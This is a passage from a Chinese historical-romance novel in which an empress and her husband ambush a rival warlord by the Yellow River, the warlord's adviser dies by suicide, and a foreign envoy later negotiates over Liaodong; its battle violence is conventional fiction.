当年拔拔真送羌人皇帝的头颅进建康,谢太后设国宴招待,明绰曾见过他一面,不过她当年还是个小孩子,只是陪宴,从头到尾也没说过话。十年过去了,拔拔真没有见老多少,倒是明绰长大成人,已是形容大改,而且她今日特意做了乌兰人妆扮,本以为他应该想不起来了,没想到他眼睛一斜过来,一开口便提及了当年那场国宴。
“你同你母后长得很像。”他咧开嘴笑笑,控着马头同明绰说话,“那是个了不起的女人。”
明绰还是和当年一样称呼他:“拔拔将军的汉话倒是比我记得的好了很多。”
拔拔真仰头大笑,没把她这句有意的“将军”放在心上,反而回头指了指跟在他身后的苏絷,用屠珲语道:“老师一直说,这几年我的汉话越说越不像样了。”
明绰便笑,屠珲语跟乌兰语差别不大,只是音调有些不同,以明绰现在的乌兰语也能听个大概。她便也换了乌兰语回答他:“想来是我跟乌兰人生活久了,见到了太多汉话说得更不像样的人,就觉得将军说得好。”
拔拔真闻言便把眼睛一眯,似是很意外明绰的乌兰语说得这么熟练,好一会儿,笑了笑,转头对乌兰徵道:“你娶了个好女人,我没喝上你们的酒,要补上!”
他这话还真像是一个慈爱的长辈,乌兰徵不冷不热地扯了扯嘴角,只道:“当日本该是额赤哥带头给我的可敦献刀。”
拔拔真没立刻回答,气氛一时有些微妙,连带着纥骨勃斤和莫舆遏也不敢说话了,都看着拔拔真。他还是眯着眼睛,上上下下地看着乌兰徵,掂量着什么似的,然后若无其事地问:“那是谁带头给她献的刀?”
“贺儿薄。”
拔拔真又是一声大笑,突然往地上“啐”了一口,笑骂了一句乌兰粗话,形容贺儿薄像条老狗。明绰便也笑起来,她既笑了,在马上的几个人都大笑起来,乌兰徵挑了挑眉,虽然没笑,但神色也微微松动了一点。明绰状似无意地摸了摸他的手臂,然后轻轻用力,在他手臂上捏了一下,感觉他手臂绷着一股劲儿,恨不得要当场掐死拔拔真。可是明绰这样摸了两下,他转过来看了她一眼,又把劲儿卸了,调转马头带路:“走吧。”
拔拔真几个跟了上去,他的儿子确实与乌兰徵年纪相仿,一夹马肚走到了最前面,跟乌兰徵说话。拔拔真在中间,从马上侧着身子跟莫舆遏说话。明绰特地落后了一点,策马走到了苏絷身边,轻轻唤了他一声:“苏先生。”
“皇后。”苏絷也在马上朝她行礼,“多谢皇后此番筹谋……”
明绰想说什么,但马不听使唤,昂起脖子嘶叫了两声,就是不走。苏絷也只好勒住马,停下来等等皇后。但明绰骑马似是非常不熟练,把缰绳扯来扯去的,扯得马更不高兴了,在原地转了几圈,大有把她颠下来的架势。苏絷便想倾身过去为她牵马,但够不着,明绰似是害怕了,惊恐地叫了一声:“苏先生!”
乌兰徵已经带着人往前走了一大段路,闻声都回过头来,看见明绰的窘态,几个西海人都大笑起来,乌兰徵也不来帮她,只是低声喊了一句:“石简。”
石简立刻越众而出:“末将在。”
拔拔真不笑了,脸色沉了下来,视线跟着石简,露出了一丝无法掩饰的恨意。他换上了燕军的甲,不声不响地跟在乌兰徵身后,刚才上岸时竟然没看见他。拔拔兀舒骨脸上出现不忿之色,马上就想策马上前,又被拔拔真抬手制止。
乌兰徵好像这才注意到了他们不高兴,对石简道:“你带几个人去帮帮皇后……别来扫额赤哥的兴了。”
石简低下头:“是。”然后他只当没看见拔拔真那边仇恨的目光,招手叫了十来个人,调转马头就走。拔拔真的目光仍旧追随着他,眼神若有所思。
乌兰徵唤他:“额赤哥,走吧?”
拔拔真转过脸来,深深地看了乌兰徵一眼,拔拔兀舒骨似是有话想说:“阿耶……”但是拔拔真又朝他看了一眼,示意他什么都别说。
他一勒马头,做了个手势,让身边的人都跟上:“走!”
苏絷有些焦虑地看着拔拔真跟着越走越远,很想跟上去,但是明绰怕得不行,叫了他好几
声,他也不能就这么抛下她。只能下了马,手忙脚乱地想帮她控住马头。石简带了十几个人,转眼就奔到了他们身边。苏絷赶紧唤了一声:“石将军……!”
然而他话音未落,石简身边一个部下突然从马上甩出一截绳索,力道非常巧,简直跟活的盘蛇似的,一下子缠到了苏絷身上。苏絷手臂被紧紧缚住,一下子失去了平衡,跌倒在地。他闷叫了一声,那人已抓住了他的后领,把他整个人提起来,像个货物一样扔到了马背上,顺便动作熟练地往他嘴里塞了一块布。
苏絷挣扎着,喉咙里“唔唔”地响,艰难地抻起脖子来看明绰。只见她那匹马乖乖地立在原地,她双手持缰,动作熟练,哪还有半点不会骑马的样子?苏絷更激烈地挣动起来,但石简手下把绳一收,缠好的活结收紧,捆得他动弹不得。
明绰垂眸看着他,低声道:“先生,得罪了。”
苏絷猛地扭过头,看向了拔拔真人马消失的地方,然后又看向明绰,脸上露出了又恍然,又恐怖的神情。
明绰从怀中掏出了一封信,交给了石简的手下,一边对苏絷道:“这是我给皇兄的信。这位兄弟会带你南下,把你交给荆州刺史,然后荆州刺史会派人护送你回建康。把我的信交给皇兄,建康朝廷会有先生一席之地的。”
苏絷呜咽了一声,憋得脸面通红。他摇了摇头,眼角滚下了一滴泪。
明绰心中不忍,低头轻叹了一声:“对不起。”
可是拔拔真的性命,能换冀州千千万万的百姓。明绰深吸了一口气,压住了心里翻涌上来的情绪,轻声道:“去吧。”
石简那个部下点了点头:“是。”
他把苏絷就这样挂在马上,一个人同时控着两匹马一起往前,速度不快,但他骑术精湛,走得相当平稳。明绰抬起了头,看着乌兰徵带人消失的地方,眉头紧紧地拧了起来。石简在她身边,轻声问了一句:“皇后,现在动手吗?”
其实乌兰徵是不要她来的,但是她非要来。最后乌兰徵只能如此设计,让她趁着带走苏絷的功夫落队,然后就不要再跟上了。她知道,这条路尽头不会是什么宴席,根本就没有宴席。拔拔真会走进乌兰徵的埋伏,而她要做的,是跟石简留在黄河边,毁掉渡河的浮桥。毁掉之后,石简会放一支火信,乌兰徵就会动手。
明绰点了点头:“拆吧。”
随着石简一声尖利的呼哨,黄河的滩涂中突然钻出了几十个埋伏的燕军。他们潜在水下,以芦管浮出水面呼吸,竟然完全没有被拔拔真发觉。天寒地冻,他们泡在水里多时,从水里冒出个头以后都在发抖,但是没人顾得上取暖,都是喘了一口气就继续从水中泅过去,开始拆河上的浮桥。
明绰看着他们动作,一面在心里估算,乌兰徵走到哪里了?拔拔真同样身经百战,他会不会看到地形就意识到有埋伏?来得及吗?
水中的燕军动作迅捷,不需要过多的指令。四面无声,只有黄河汹涌,震耳欲聋。明绰转过身,突然瞥见刚才那条路上重新出现了几个人影。
“石将军。”明绰唤了一声。不需要她下令,石简迅速吹了声口哨,水中的燕军立刻停止了动作,藏到浮桥下面。马上的人影转眼就刮到了眼前,竟是拔拔兀舒骨。明绰策马前行,示意石简跟上。几个人拦到了拔拔兀舒骨面前,不想让他看清楚河里发生了什么。
“可敦。”拔拔兀舒骨朝她行了个礼,视线怀疑地往她身后的河里看,明绰的马又不听话起来,在他面前绕过来绕过去的。拔拔兀舒骨倾过身,一把替她攥住了马嚼子。
“这匹马不听话,”拔拔兀舒骨看了她一眼,“可敦该换一匹。”
“就是啊!”明绰语气撒娇似的,一副无可奈何的样子,然后又马上问他,“你怎么回来了?”
拔拔兀舒骨不肯放开她的马嚼子:“阿耶让我回来看看苏先生怎么还没跟上。”他又往明绰身后看了看,“苏先生人呢?”
该死,明绰在心里暗暗地咒骂了一句。拔拔真竟然这么信任苏絷,一刻都不肯让他离开视线。
“苏先生他……”明绰拖长了声音,似是在想一个借口,转过头,跟石简交换了一个眼神。石简看明白了皇后的眼神,用视线量了量他们之间的距离。
足够了,他可以一刀刺死拔拔兀舒骨。但他紧紧握着皇后的马嚼子,要怎么才能不伤到皇后呢?
拔拔兀舒骨和他父亲一样,眯起了眼睛:“可敦?”
明绰突然从马上一翻,叫了一声:“石将军!”
下一刻,所有的事情都一起发生了。石简突然出刀,但是拔拔兀舒骨早有预料似的,猛地往后一仰,刀锋只是划破了他的衣领,他带来的几个人瞬间也都亮出了武器。石简一击未得手,立刻纵马挡到明绰身前,拉住她的手一把把她拽到自己的马背上,先护住了皇后。水中的燕军也已潜到了极限,浮桥水深,不像在滩涂中可以站住,水流又急,他们必须攀住浮桥,根本不能用芦管。拔拔兀舒骨目瞪口呆地看着水里冒出了一颗又一颗脑袋,只用了半刻,就明白发生了什么。
就在石简把手伸进怀中掏火信的那一刹那,另一个声音远远地传了过来。明绰转过头,看见苏絷正骑在马上。他不知道怎么挣脱的,绳索还缠在身上,但已经没那么紧,他也没空解出来,一手持着一柄匕首,脸上头上都是血,一边喊着什么,一边往回跑。但是明绰没有听清他在喊什么,石简毫不犹豫地放出了火信,冒着剧烈白烟的信号“嗤”的一声蹿上了高空,然后“砰”地一声,炸出了巨大的声响。
所有的人都不由自主地抬起头,停顿了半刻。
唯独苏絷没有停,他目眦欲裂地用匕首狠狠一扎马臀,恨不得飞过去。
“兀舒骨!”他喊得声嘶力竭,“渡河!快渡河!”
第89章
林中突然簌簌一片响动,纥骨勃斤“铮”地一声拔出了刀,但只见一只鸟突然从叶中飞出来。
乌兰徵哈哈大笑:“额赤哥紧张什么?”
拔拔真马上转头看了纥骨勃斤一眼,低斥了一声:“还不收起来!”
纥骨勃斤的脸红起来,收刀归鞘,不服气地啐了一口。乌兰徵又看了一眼拔拔真,把手臂撑在马鞍上,一脸气定神闲的表情。
“宴席”的地点设在了孟津附近村落的大庙中,要通往村落,便要走一段林间的狭道。但拔拔真走到这个拗口就不走了,非要让儿子转回去问问,苏先生怎么还没跟上来。问苏先生是假的,最重要的是看看皇后怎么不跟上来。
就这个地形,乌兰徵要是没在林间设伏,拔拔真就把自己的脑袋割下来。
他笑了笑,突然唤了乌兰徵的乳名,那是乌兰语中小马驹的意思:“莫儿阔,怎么设伏打野,还是当年我教你的呢。”
乌兰徵耸了耸肩,神态很轻松:“那额赤哥怕什么?我岂会到你面前班门弄斧?”
“班门弄斧”这个词乌兰语里没有,他
说的是汉话。拔拔真一挑眉,只道:“如今你说话我也听不明白了,还是等苏先生跟上来替我解一解吧。”
乌兰徵便也勒着马头:“正好,我也等一等皇后。”
他的态度实在是太轻松了,拔拔真一双眼睛在他身上看来看去,始终抱着怀疑。他们还没走进去,就算乌兰徵真的动手,也还来得及回撤。拔拔真就是不动,看着乌兰徵能怎么办。
但是乌兰徵一直不动声色。过了会儿,反倒是小道尽头传来了一个熟悉的声音,莫舆遏一听就在马上坐直了身子,只见他女婿站在那一头,正朝他招手。
“那是……?”莫舆遏着急起来,舔了舔嘴唇,压低了声音问拔拔真,“可汗?”
这年轻人从小就跟着莫舆遏长大,虽然是女婿,但其实跟儿子差不多。他在洛阳落进了乌兰徵手里,把莫舆遏急得团团转。但是他出现在小道尽头,却又不动,很是诡异。
拔拔真伸手拦住了莫舆遏,朝乌兰徵歪了歪头:“他怎么不过来?”
乌兰徵便扬起声音,喊了他的名字:“过来!”
那年轻人脸上露出一个硬挤出来的笑容,没忍住歪头看了一眼自己的侧边。冬天的树枯,行迹没那么好藏,所以他看得清清楚楚,弓箭拉满对着他的,正是他的表弟贺儿库莫乞。
“去啊。”贺儿库莫乞用口型示意。
年轻人脸上的表情比哭还难看,颤抖着往前走了一步。要示警吗?可他不敢。贺儿库莫乞拉的是硬弓长箭,他在战场上见过,这种长箭的力道能把最膘肥体壮的马都射穿,他无论如何都不可能跑得出贺儿库莫乞的射程。于是他只能听话往前走,一边乖乖地说着乌兰徵要他说的话,想把莫舆遏骗进埋伏里来。
“前面早都备好酒菜了!”他扬着声音喊,“阿耶,来啊!”
莫舆遏又在马上动了一下,但拔拔真还是控着他,不让他轻举妄动。眼看着那年轻人越走越近,脸上的表情和冷汗终于看得清清楚楚。
他几乎是哭了出来,惊恐地朝莫舆遏伸出了手:“阿耶……”
就在那一瞬间,拔拔真确定了,他一勒马头:“走!”
然后,只听“嗤”的一声,背后一支火信蹿到了空中,“砰”地炸了开来。莫舆遏纵马向前,还想在回撤之前拉上他的女婿。空中随即传来“呼”的一声,长箭破空而来,精准地撕开了年轻人的胸膛,然后一直钉到了莫舆遏的马身上才停。马哀鸣一声倒了下来,莫舆遏滚落在地,发出了一声野兽般的哀叫,看着他爱若亲子的女婿浑身是血地倒在了他的面前。
不过他的悲痛没有太久。林中又“嗖嗖”地飞出无数长箭,把莫舆遏钉在原地,几乎打成了筛子。
拔拔真看也没看一眼,已经纵马逃了出去。但是乌兰徵比他更快,坐骑如他双腿,指哪儿去哪儿。手中只有一柄长剑,但没有一个人拦得住他。
拔拔真竟然在这个时候想起了一桩旧事。很多年前乌兰郁弗一直说,马上作战不要用剑,长度不够,又容易折,长矛长刀是最好的,但乌兰徵嫌笨重。他上战场的时候还太小了,长矛长刀他使不动,后来能使得动了,他又已经习惯了剑,不愿再改。这事儿怎么说也说不听,等到乌兰徵十七岁的时候,乌兰郁弗让他们这些军中猛将都操着长刀骑马去拦截他。这小马驹跑起来真比脱缰的野马还厉害,就靠剑的轻巧和他骑术的精湛,在马上辗转飞腾,身若轻燕。谁也没看清他怎么出的手,但每个人的甲都被挑断了一根软带子,不是胸口就是腰腹。
自此,乌兰郁弗再也没管过他骑马用剑。
马蹄从拔拔真边上飞跃而过,剑光比他记忆中的更快,突然从斜后方刺来。拔拔真颇有些狼狈地躲开,但前路已被乌兰徵截住,他不得不勒住马头,握紧了手中的长刀。好一会儿,才觉得颊上一片温热,原来那一剑已经削去了他一大片头皮,血从头上流下来,淌了他满脸。
林中埋伏的人已经全部冲了出来,在他身后战成了一团。面前却只有乌兰徵一人一剑,在马背上挺直了腰,朝他露出了一个森然的冷笑。
“额赤哥真是老了,”他把剑横在手里,“这一剑都躲不过了。”
“小犊子……”拔拔真像从前一样叫他。他听话的时候才是小马驹,要是调皮干坏事了,他在乌兰郁弗口中就会变成小牛。
拔拔真咬牙切齿:“就知道你不会安好心。”
乌兰徵不笑了,一勒马头,缓缓朝他逼近:“额赤哥不是说给我准备了生辰贺礼吗?在哪儿呢?”
拔拔真抹了抹遮住了他视线的粘稠鲜血,持刀的手竟有些不自觉的颤抖。
“罢了,我也不要别的。”乌兰徵不等他回答,又道,“额赤哥把人头给我就好了。”他手中长剑锋利至极,连杀数人都不沾血光,只有一片雪亮如秋泓,映出他复仇的意志。
“我阿耶已经在神女湖边等你很多年了!”
“阿耶!”
苏絷扑上去,用自己的身体拦住了还想往回扑的拔拔兀舒骨:“快走!”
拔拔兀舒骨满脸的血和泪:“阿耶——”
苏絷硬是拖着他,把他重新扶上了一匹马。他手中也有一柄剑,血太多了,掌心一片滑腻,几乎握不住。面前的浮桥已经散了一半,水里浮起了好多尸体,有燕军的,也有屠珲部将士的,都被水流冲刷着,一下一下,往已经散架的浮桥上撞。还有两匹马活着,悲惨地在水中扑腾着,但怎么也站不起来。
苏絷不知道自己已经受了多少伤,但是他不在乎。他先是故意从马上滚下来,被绳索拖着在地上拽出去好长一段路,然后又抓住机会,趁着那个燕军来给他松绳的时候夺了他的匕首。苏絷从来不以武艺见长,这么多年跟着拔拔真行军,他从来没有亲自上阵杀过人。但是那一瞬间,他也不知道哪里来的力气,夺匕首杀人的时候他甚至还被捆着半身。
拔拔兀舒骨身边一个活口都不剩了。他没带几个人折返,就算是苏絷加入战团也没用。好在石简手里的人也不多。这一场打得非常快,人命就像被扔进黄河里的小石头,一下子就没了。
现在苏絷手里的长剑是从石简手里夺的,甚至还伤了他——那可是石简哪!苏絷竟然还有余裕笑了一声,对自己感到非常满意。虽然他知道,他得手只是因为石简没想到他会突然对躲在一旁的萧明绰下手。石简不得不纵身回护,让他伤了一臂,夺去了长剑。所有人都只顾着保护皇后,苏絷拼着被砍了两刀,硬是撕出了一条口子,把拔拔兀舒骨拽上了河边摇摇欲坠的浮桥。
拔拔兀舒骨流着泪,还想把手伸给他,要他一起上马。但是苏絷摇了摇头,被燕军毁坏的浮桥不可能再撑住他们两个人加一匹马的重量了,留给拔拔兀舒骨的时间也不多了。他抬起头看了这年轻人一眼,想在这瞬间里再交代他一句什么,还能有什么计策,让他守住冀州,能有一日替他父亲报仇……
“走。”他只有这个字可以说,“走啊!”
苏絷狠狠地用剑背在马臀上一拍,那马纵身一跃,跳到了一块浮板上,然后完全没做停留,立刻往下一块跳。浮桥就这样在拔拔兀舒骨的身后彻底散了架,到最后一段,拔拔兀舒骨连人带马地淹进了水里,但他扑腾着,硬是自己游上了岸。
苏絷直到看见他上了岸,才重新回过头来,面对着情况同样凄惨的燕军。他们没追,因为石简手下也没几个人还站得起来,连他自己都抱着一条受伤的手臂,十分狼狈。唯一没有受伤的只有萧明绰,她看着他,然后突然朝他走了过来。
石简急道:“皇后!”
但是明绰就像没听见一样,径直走到了苏絷面前。苏絷支持不住,“噗通”一声跪倒在了河边。他想用手中的长剑撑一下,但是河边的软泥无力给他这种支撑,他只能跪在了黄河冰冷的水中。
明绰居高临下地看着他,那眼神说不上来是怜悯还是痛恨。
“长公主,”苏絷没什么力气,“对不住了……”
“他逃走,也赢不了了。”明绰的语气近乎一道死刑的裁决,“但千千万万的人命,现在都要为了全你一人的忠臣节义而葬送了。”
苏絷疲惫地苦笑了一声,他知道。
“可汗今日遇伏,是我之过。”他每个字都说得很慢,“长公主,我不该信你。”
明绰还是看着他,一个字也没有说。
纷乱的马蹄从远处传来,又急又快。明绰没有回头,但是苏絷已经看到了杀气腾腾的乌兰徵。然后他举起了手中的长剑——
乌兰徵吓得恨不能飞过去:“明绰!”
但是那柄长剑没有挥向她,苏絷毫不犹豫地架到了自己的脖子里,几乎用上了斩首的力气,狠狠地切开了自己的喉咙。鲜血一下喷涌出来,溅了明绰满身。下一刻,乌兰徵已经奔到河边,一把将明绰拽进了自己的怀里,顺势一脚蹬在了苏絷胸口,狠狠地把他踢出了能伤害到明绰的
范围。
但是已经没有必要了。苏絷整个人往后一仰,“咚”地一声砸进了水中。脖子里的鲜血飞快地汇进了黄河,短暂地染红了一片,然后又被迅速地冲刷干净。
乌兰徵惊魂未定地检查明绰身上:“没事吧……?”
“没事。”明绰摁住了他的手,低着头,几乎要忍不住眼泪,“陛下,我让拔拔兀舒骨跑了……”
“跑了就跑了。”乌兰徵又把她抱进怀里,以为她是为此内疚,“你没事就好。”
“拔拔真呢?”明绰从他怀里仰起头,摸到了他身上一片潮湿的血迹,但不知道是不是他的。
“死了。”乌兰徵说得非常简单。他得到了他想要的生辰礼物。
明绰便什么都没再说,只觉得舌下蔓延出了一股说不出的苦味。
苏絷躺在水里,眼睛仍旧睁着,但瞳孔已经涣散开来,映着一片茫茫的天。他最后唯一的感觉,只有冷。就像他少年时一路西行,在西海时遇到的第一个冬天那样冷。彼时天地浩大,千山落雪。
明绰转过脸,余光里只看见他的白发被黄河冲散,荡在水面,像一片招魂的幡,却再也引不来无归的人。
第90章
拔拔兀舒骨没有一点耽搁,立刻整兵回撤,退守邺城。乌兰徵传令乙满,主力从虎牢关出发,重兵压上。拔拔兀舒骨只坚持了一个月,便被燕军拿下了邺城,仓皇向东逃去。
屠珲部骤失主帅,连冀州大本营都丢了,已是军心大乱。乌兰徵一路追,一路都有回头来降的人。到最后,拔拔兀舒骨手中只剩下了原来三分之一的兵马,其中还有一部分属于纥骨勃斤。据降将来报,拔拔兀舒骨主张绕道漠北躲去辽东,宁可忍受严寒也不敢去挑衅袁增。但纥骨勃斤的旧部不服他的指挥,一拍两散,已经率众跑了。
兴和八年春,纥骨勃斤旧部试图渡碣石海进辽东,结果刚走到平谷就遇到了大雍的兵马,被袁綦一举全歼。消息传来,拔拔兀舒骨立刻领残众北上,消失在了茫茫草原中。
这个时候,乌兰徵的大军已追到了平城,离大雍境内的幽州只剩三百里,除了居庸关,再无险可阻。
袁增突然就把排布在辽西的兵马全都收了回来,屯兵幽州,严阵以待。
“你皇兄这是担心我突然回头咬他一口啊。”乌兰徵把手里斥候的报告递出去。
明绰没接,只冷笑了一声,反问他:“你不想吗?”
她可是亲眼看见乌兰徵对着舆地图盘叹气。幽州太北了,整个大雍的版图都在南边,唯独这里探进了北方的土地。乌兰徵看多了,就老感觉这是萧盈往他肉里戳的一根刺。而且还挡在了他们去辽东的路上,着实碍眼。
所以想肯定是想的,但不能当着她面说。乌兰徵皱皱鼻子,不说话。
明绰懒得戳穿他那点儿心思,继续扑在了手里从洛阳送来的最新一封信上。
他们直接从孟津出发追击拔拔兀舒骨,根本没有来得及回洛阳一趟。还是打下了邺城以后乌兰徵才补了一道旨意,给留守洛阳的方千绪封了个正经官职。明绰在洛阳还有很多事情没做完,很不放心,所以方千绪每隔几天就要写信给皇后汇报情况。
还好这一路都已经被燕军控制,各地驿站打通,通信比以前快了很多。方千绪这封信里写,去年冬天的流民已经安置了八成,但春来发了疫病,流民在城中四处乞食,疫病越发不可收拾。洛阳城内已封街闭坊,方千绪征立城郊寺庙为“疫所”,隔绝病患,并向长安太医署征调人手。
明绰越看越揪心,都没注意乌兰徵什么时候绕到了她身后,视线越过她肩头,也看完了方千绪的汇报。
“若管不住流民传播疫病,还是尽早坑杀。”
明绰转过头,瞪住了他:“什么?”
乌兰徵看着她的表情,直觉自己可能讲错了话,就没重复。但大战之后爆发疫病实在是太常见,他一点儿都不意外。军中一旦发现,就是隔绝起来,有条件的话当然也会医一医,但大部分时候军中没有条件。
他知道这听起来很残忍,但战争本来就是残忍的事情。
明绰突然站起来,没好气道:“还不是因为你截断了伊洛两河,才有的这疫病?”
这就有点儿不太公平。围堰截流已经是去年秋末的事情,春汛早就把他们临时的堰塞都冲开了,洛阳城中水源是充足的。会有疫病,还是流民没安置好的问题。
但流民的问题也是战争带来的,所以乌兰徵没开口争辩,只是沉默着看着明绰站了起来,动作幅度很大地推门走了出去。他在她身后张了张嘴,想说什么,但又只是挠了挠头,什么都没说得出来。
他知道明绰在不高兴什么,洛阳的疫病也只是借口。真正的原因是因为晔儿的周岁生辰过了。
秋桑会定期写信过来,告诉明绰晔儿怎么样了。上一封信里说,皇长子大办了一场周岁宴,长安群臣都参加了。回了后宫又办了抓周礼,晔儿抓了他阿耶的剑穗子——乌兰徵看到这里挺高兴的,但是明绰一点儿都不高兴。
抓周是汉人的习俗,泰赤哈氏连汉话都说不连贯,怎么会想到给晔儿私下里办抓周?肯定是太后。只是秋桑知道她会不高兴,所以特意隐去了。
一路从长安走到这里,刚出门的喜悦和世界开阔之感已经消失了,她现在就是想孩子。进平城的时候见到一个在街边卖菜的农妇,怀里还抱着一个襁褓中的孩子,背着人扭着身子在给孩子喂奶。明绰一直盯着她看,看到她喂完了,整理好衣服,就用一块布把孩子勒在胸前,然后叽叽呱呱地继续卖菜议价,那孩子竟也香香甜甜地睡了。
明绰就这么看得泪流满面,晚上也哭,停都停不下来。她想孩子想得不知道怎么能用言语来形容,想得恨不得把自己的心肝都挖出来,只要能再抱一抱晔儿。
她哭的时候,乌兰徵也说想晔儿。但是明绰只是对他更生气。陛下想的事情太多了,想北方一统,想追去辽东,甚至想着把幽州从她母国手里夺过来。晔儿要排得很后面很后面,要她提起来,他才会稍微想一想。
还有,晔儿过周岁生辰,就是梁芸姑的忌日。乌兰徵就更不能说话了,那几天他只要在明绰身边,呼吸都是错。
也许是可以回去了。乌兰徵独自摩挲着下巴新生出来的胡茬,默默地琢磨。段知妘也给他写了信,劝他回长安,信里还提及了立晔儿为太子一事,他还没有回复。
拔拔兀舒骨已经率众进了漠北,短时间内不会再出现。这一带的草原已经进了慕怛族人的势力范围,他们跟贺阆人打了几十年,凶蛮之名威慑天下。拔拔真当年与贺阆王合作过,他的儿子若是落进了慕怛人手中,不一定还有命能到辽东。
这一趟出来,是为了平拔拔真,收回洛阳的和冀州。目的已经达成了。
但为了配合他夹击拔拔真,大雍在北边投入了比以前更多的兵力。辽西走廊现在已经彻底被袁增控制,他一走,辽东就会变成萧盈的囊中之物。
他若不走,就是从蓟北山区进辽。但是山道狭窄,大军会被拉得很长,以致头尾不顾。袁增只要从幽州探出一支前锋,轻轻那么一剪……
他的脸色沉了下来,手指交错着,在图盘的木边上敲了两下。
所谓郎舅之情,兄弟之盟……是不是走到这里,就算到头了?
那天晚上,乌兰徵没有留在皇后这里,反而自己去了平城外的大营。既然明绰横竖看乌兰徵不顺眼,乌兰徵就也没到她眼前来晃。一天,两天,都没再回来。两人好像也没有真为了什么事情吵过,但就是突然冻起来了,把冬青看得莫名其妙的。她提出要主动去找陛下的时候,明绰也摇了摇头,阻止了。
她不知道乌兰徵心里在踌躇要怎么处理跟大雍之间的关系,她只是也在琢磨别的事情,正好想一个人静静。
于是燕军就这么继续驻在了平城,既不往北追击拔拔兀舒骨,也不去收辽东。谁都不知道乌兰徵到底在想什么,就这么隔着居庸关跟袁增望啊望的,到底是望来了一位意想不到的故人。
和在洛阳的时候一样,燕军主力驻扎在城外,皇后则在城内另寻舒适的居所。大雍来了使者的消息是从城外的大营传过来的,近卫来传信,说陛下会和使者一起来见皇后,也没说是谁。明绰遣人准备了一桌菜,等了没多久,便听到马蹄声响过,还未进门,便听见了乌兰徵和另一个人说笑的声音。
明绰站起来,正要出去迎,乌兰徵已经领着人进了门:“溦溦,你看谁来了?”
这还是乌兰徵头一次唤她的乳名,明绰都从来没有告诉过他自己的乳名。明绰一时愣在了那里,看着谢维从乌兰徵身后露出了一张笑眯眯的脸。
原来是他。明绰心里又意外,又不是那么意外。谢维看了看明绰,倒是没什么脸当面跟她套这个近乎,反而很尊重地颔首为礼:“皇后。”
原来他也记得上次相见是什么情形。明绰收起心中复杂的情绪,朝他笑了笑:“我说这使者是谁呢,竟是舅舅来了!”
乌兰徵突然想起了什么,又对谢维道:“哎呀,我忘了,不能再以表字称呼你了……”
他好像也要跟着明绰唤舅舅了,唬得谢维赶紧拉他的手:“陛下!折煞谢某了!”
乌兰徵纵声大笑,看起来心情非常好的样子,也拉住了谢维的手,亲亲热热地拽他入了席。
燕军杵这儿就是不动,袁增觉都快睡不着了,整个大营里寻摸一遍,就谢维最合适。他是大燕皇后的堂舅,当年又曾相助乌兰徵伐陈,两头都说得上话。自然是赶紧派他过来探一探,乌兰徵到底什么意思。
派他来也确实是好说话。大家都是聪明人,又有交情,几句话就谈明白了。饭桌上当着明绰的面,就要把话说得更好听一些。谢维这边替袁增承诺,一力打消乌兰徵的疑虑。燕军一来,他们大将军都把兵马从辽西走廊撤走了,是不是?那就是不想让大燕陛下误会他们对辽东有什么企图啊!
乌兰徵一听这话,自然也得圆上场面,说拔拔兀舒骨已经跑了,这辽东去不去的也没那么重要,这趟平了拔拔真就准备班师了。
两人都客气,辽东这么大一块沃土,谦让来谦让去的,竟是谁都不想要似的。
明绰听了几句就明白了,其实辽东呢,谁都想要,但是谁都没把握抢得过对方,所以都不想撕破脸。谢维过来,就是各退一步的意思。大雍承诺不会趁人之危,乌兰徵也就放心撤军,好让袁增睡个囫囵觉。最好呢,就是拔拔兀舒骨命够硬,有他在辽东,那燕雍两国也就能继续兄友弟恭几年。
一时酒酣耳热,宾主尽欢。谢维晚上也在平城留宿,第二日清早又来见明绰。没有了乌兰徵在场,他说话直白了很多,希望明绰还是要多顾及母国。
明绰听了也只是问:“这到底是大将军的意思呢,还是皇兄的意思?”
谢维看着她:“大将军的意思,自然就是陛下的意思。”
明绰便只是笑了一笑,什么都没说。
萧盈不是好征伐的君主。他在很多年前就表达过,大雍已历四代,很多制度甚至还是从前梁开始就沿用的,早就腐朽不堪。这偌大的朝廷,瞧着还是堂堂大厦,但里面这些梁木支柱真不知道还能再撑几时,他若再不换,随便一场风雨就要毁了。北方一统,两国修好,天下至少能太平两代人,他才能好好地修整这栋房子。为了辽东一地与乌兰交恶,再次卷入十几二十年的战乱,太短视了。听起来更像是袁增为一己之功起的贪心,不会是萧盈所想。
他对于为君的抱负和理想,明绰比任何人都清楚。
更何况,他连派袁氏兄弟去救人都想得到要备上给晔儿的礼物作为说辞,免她在夫君面前为难,又怎么会来暗中要求她为母国争利呢?
“这一仗,袁家二郎真是出尽了风头。”明绰不动声色地换了个话头,“袁煦这次挺大方,功劳都让给弟弟了。”
谢维闻言便做了个有些古怪的表情:“伯彦这次……没跟着出征。”
明绰转过脸,意外地看着他。
谢维吞吞吐吐:“他……家里出了点事。”
明绰一颗心一下子吊了起来:“什么事?”
谢维似是很不愿意说,但是明绰担心桓宜华,急着追问了一句:“舅舅倒是说呀!”
谢维只好道:“他……私通良家女,桓夫人恼了,去陛下面前告了他一状……那桓家是好惹的吗?陛下这不就降了他军职,让他在家思过了么?”
明绰的心定下来,又没好气道:“该!”
谢维便“嗐”了一声,显然没把这事儿放在心上:“陛下也就是找了个理由,哪会真的为了这种小事罚他?还不是……”
明绰脚下一顿,又转头看定了他。谢维让她看得心虚,只好提前免责:“我也就是听说,作不得数。”
“舅舅说就是了。”
谢维便道:“听说,当时伯彦去长安之前,陛下给了他一封密诏。但他驳了陛下的旨意,把那密诏原封不动地带回来了。陛下不高兴,正好桓家又咄咄逼人,这才……”
“什么密诏?”
“那只有陛下和伯彦知道了。”
“袁二郎也不知道?”明绰想不通了,“他不是一块儿来的长安吗?”
“他知道什么呀!这孩子……”谢维说起来就是深吸一口气,然后又是摇摇头,那模样像是没少遭这二郎的罪,“但他确实说漏了两句嘴。他听见伯彦跟大将军说,‘要是依了陛下的意思,便真要开战了’。”
谢维意味深长地停下来,让明绰自己琢磨。明绰看着他,又问:“就这一句?”
“就这一句。”
怪不得袁增打起了辽东的主意。明绰想通了,袁增肯定是觉得萧盈有意,早晚要跟大燕开战,这才提前忧君之忧。谢维也是这么揣摩上意的,所以跑来跟她说,让她多为母国争利。
但以她对袁煦和萧盈之间交情的了解,袁煦会以不跟大燕开战为理由拒绝履行那封密诏,说明萧盈原则上还是不想跟大燕起冲突——否则的话袁煦才不会在乎,开战就开战了。但是他肯定又让袁煦去做一件必然会激怒乌兰徵的事情,自相矛盾,袁煦才会有这样的反应。
明绰没忍住自语似的低问:“皇兄到底在想什么?”
谢维苦笑:“那就没人知道了,天威不可测啊。”
